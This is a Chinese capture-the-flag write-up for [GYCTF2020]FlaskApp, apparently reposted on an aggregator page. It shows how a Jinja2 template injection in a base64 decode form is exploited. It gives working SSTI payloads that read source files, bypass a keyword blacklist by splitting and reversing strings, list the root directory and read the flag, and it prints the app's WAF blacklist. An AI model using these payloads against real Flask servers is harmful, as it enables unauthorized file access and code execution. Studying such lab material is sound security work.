[GYCTF2020]FlaskApp

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[GYCTF2020]FlaskApp相关的知识,希望对你有一定的参考价值。

[GYCTF2020]FlaskApp

考点

Flask模板注入、waf绕过、ssti注入

思路

题目页面是一个模拟base64加解密功能的页面,当我们在decode页面中输入错误信息致使其发生错误时会出现报错页面提示,可以查看到部分代码内容

在这里插入图片描述

传text参数,进行解密,如果可以过waf则执行代码,读取源码试试:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

在这里插入图片描述

从源码中我们可以发现waf过滤的内容,发现flag和os等被过滤

在这里插入图片描述

利用字符串拼接找目录:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

在这里插入图片描述

发现存在 this_is_the_flag.txt文件,读取flag:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

在这里插入图片描述

Payload

waf函数

def waf(str):
    black_list = ["flag","os","system","popen","import","eval","chr","request",
                  "subprocess","commands","socket","hex","base64","*","?"]
    for x in black_list :
        if x in str.lower() :
            return 1

读取源码:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

利用字符串拼接找目录:
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}

读取 flag:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

以上是关于[GYCTF2020]FlaskApp的主要内容,如果未能解决你的问题,请参考以下文章

第六十二题——[GYCTF2020]FlaskApp

[GYCTF2020]Blacklist&说说真心话

[GYCTF2020]Blacklist&说说真心话

BUU-WEB-[GYCTF2020]Blacklist

[GYCTF2020]Ezsqli

[GYCTF2020]Ezsqli